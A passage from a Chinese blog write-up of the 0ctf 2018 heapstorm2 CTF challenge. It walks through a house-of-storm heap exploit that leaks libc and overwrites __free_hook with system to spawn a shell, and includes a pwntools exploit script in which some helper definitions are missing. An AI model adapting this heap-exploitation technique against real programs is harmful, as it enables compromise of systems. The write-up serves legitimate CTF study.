    #由于bins中的chunk的fd,bk指向libc的地址,我们先要泄漏heap的地址
    
    payload = p64(0)*6 + p64(0x13370800)
    edit(2, payload) #修改了r0~r4为0,并且修改了chunk0的地址,此时的chunk0的size非常大,因为异或的是0
    
    dbg()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述

    之后修改0x13370800处的第三个和第四个数分别为0和0x13377331,两者异或得到0x13377331,越过show函数的检查,此时已经可以使用show函数,因为我们要泄露的unsortedbin chunk的fd指针(指向main_arena+88),我们必须在chunk的全局数组中写入0x56104462a060来show,但是程序每次运行地址不同,由上图可知fake_chunk+3处存放的就是0x56104462a060,
    所以我们需要利用fake_chunk+3(unsortedbin chunk的地址)来泄露libc,我们每次把chunk0的位置写为0x13370800,就可以实现每次通过chunk0来控制0x13370800

    payload = p64(0)*3 +p64(0x13377331)  #满足show的条件
    payload += p64(0x13370800) + p64(0x1000) #chunk0
    payload += p64(fake_chunk+3) + p64(8)   #chunk1
    edit(0, payload) #满足show的条件
    
    show(1)  #我们刚刚house of storm 写的地址泄漏出来
    ru("]: ")
    heap = u64(r(6).ljust(8, '\x00'))
    success("heap:"+hex(heap))
    
    dbg()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    在这里插入图片描述

    在这里插入图片描述
    此时我们成功泄露出unsortedbin chunk的地址,我们再修改全局数组为unsortedbin chunk的地址+0x10(main_arena+88),然后即可泄露处libc基地址

    payload  = p64(0)*3 + p64(0x13377331)#满足show的条件
    payload += p64(0x13370800) + p64(0x1000) #chunk0
    payload += p64(heap+0x10) + p64(8) #chunk1
    edit(0, payload)
    show(1) #泄漏libc地址
    ru("]: ")
    malloc_hook = u64(r(6).ljust(8, '\x00')) -0x58 - 0x10
    libc_base = malloc_hook - libc.sym['__malloc_hook']
    free_hook = libc_base+libc.sym['__free_hook']
    system = libc_base+ libc.sym['system']
    success("free_hook:"+hex(free_hook))
    dbg()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    在这里插入图片描述

    之后我们要做到就是在全局数组里写入free hook地址和/bin/sh,将其改为system,获得shell,free_hook在chunk0处,/bin/sh\x00在chunk1处

    #--------------修改 free_hook -----------------------------------#
    payload  = p64(0)*4
    payload += p64(free_hook) + p64(0x100)#chunk0
    payload += p64(0x13370800+0x40) + p64(8)#chunk1
    payload += '/bin/sh\x00'
    edit(0, payload)
    
    dbg()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    在这里插入图片描述
    之后改free_hook为system,free(1),获得shell

    edit(0, p64(system))
    free(1)
    
    itr()
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    exp

    #coding:utf-8
    from pwn import *
    context(endian='little',os='linux',arch='amd64',log_level='debug')
    sh = process('./0ctf_2018_heapstorm2')
    libc = ELF('./libc-2.23.so')
    #命令简写化
    s       = lambda data               :sh.send(data)
    sa      = lambda delim,data         :sh.sendafter(delim,data)
    sl      = lambda data               :sh.sendline(data)
    sla     = lambda delim,data         :sh.sendlineafter(delim,data)
    r       = lambda num=4096           :sh.recv(num)
    rl      = lambda num=4096           :sh.recvline(num)
    ru      = lambda delims   :sh.recvuntil(delims )
    itr     = lambda                    :sh.interactive()
    uu32    = lambda data               :u32(data.ljust(4,'\0'))
    uu64    = lambda data               :u64(data.ljust(8,'\0'))
    leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
    
    def dbg():
            gdb.attach(sh)
            pause()
    def add(size):
    
        sla('Command: ','1')
        sla('Size: ',str(size))  # 12 0x133707e0   成功将申请到了heaparray附近
    
     
    
    #-----------------------泄漏 libc----------------------------------#
    #由于bins中的chunk的fd,bk指向libc的地址,我们先要泄漏heap的地址
    
    payload = p64(0)*6 + p64(0x13370800)
    edit(2, payload) #修改了r0~r4为0,并且修改了chunk0的地址,此时的chunk0的size非常大,因为异或的是0
    
    #dbg()
     
    payload = p64(0)*3 +p64(0x13377331)  #满足show的条件
    
    payload += p64(0x13370800) + p64(0x1000) #chunk0
    payload += p64(fake_chunk+3) + p64(8)   #chunk1
    edit(0, payload) #满足show的条件
    
    #dbg()
    
    show(1)  #我们刚刚house of storm 写的地址泄漏出来
    ru("]: ")
    heap = u64(r(6).ljust(8, '\x00'))
    success("heap:"+hex(heap))
    
    #dbg()
    
    payload  = p64(0)*3 + p64(0x13377331)#满足show的条件
    payload += p64(0x13370800) + p64(0x1000) #chunk0
    payload += p64(heap+0x10) + p64(8) #chunk1
    edit(0, payload)
    
    #dbg()
    
    show(1) #泄漏libc地址
    ru("]: ")
    malloc_hook = u64(r(6).ljust(8, '\x00')) -0x58 - 0x10
    libc_base = malloc_hook - libc.sym['__malloc_hook']
    free_hook = libc_base+libc.sym['__free_hook']
    system = libc_base+ libc.sym['system']
    success("free_hook:"+hex(free_hook))
     
    #--------------修改 free_hook -----------------------------------#
    payload  = p64(0)*4
    payload += p64(free_hook) + p64(0x100)#chunk0
    payload += p64(0x13370800+0x40) + p64(8)#chunk1
    payload += '/bin/sh\x00'
    edit(0, payload)
    #dbg()
    edit(0, p64(system))
    free(1)
    
    itr()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143

    参考文章
    House of storm 原理及利用
    Largebin Attack
    CTF-WIKI
    Largebin attack总结

  • 相关阅读:
    Skia4Dephi 的 Demo 程序界面架构分析
    xss-labs/level11
    测试饱和了? 大数据测试就业薪资和前景究竟怎么样?
    小满nestjs(第十六章 nestjs 响应拦截器)
    Jenkins-SpringBoot-实现自动化构建
    Clickhouse填坑记4:Too many parts问题分析
    linux中权限管理命令chown,chgrp,umask
    ABAP WBS 用户状态的取值方法
    java通过http下载文件示例
    『德不孤』Pytest框架 — 14、Pytest中的conftest.py文件
  • 原文地址:https://blog.csdn.net/tbsqigongzi/article/details/126185571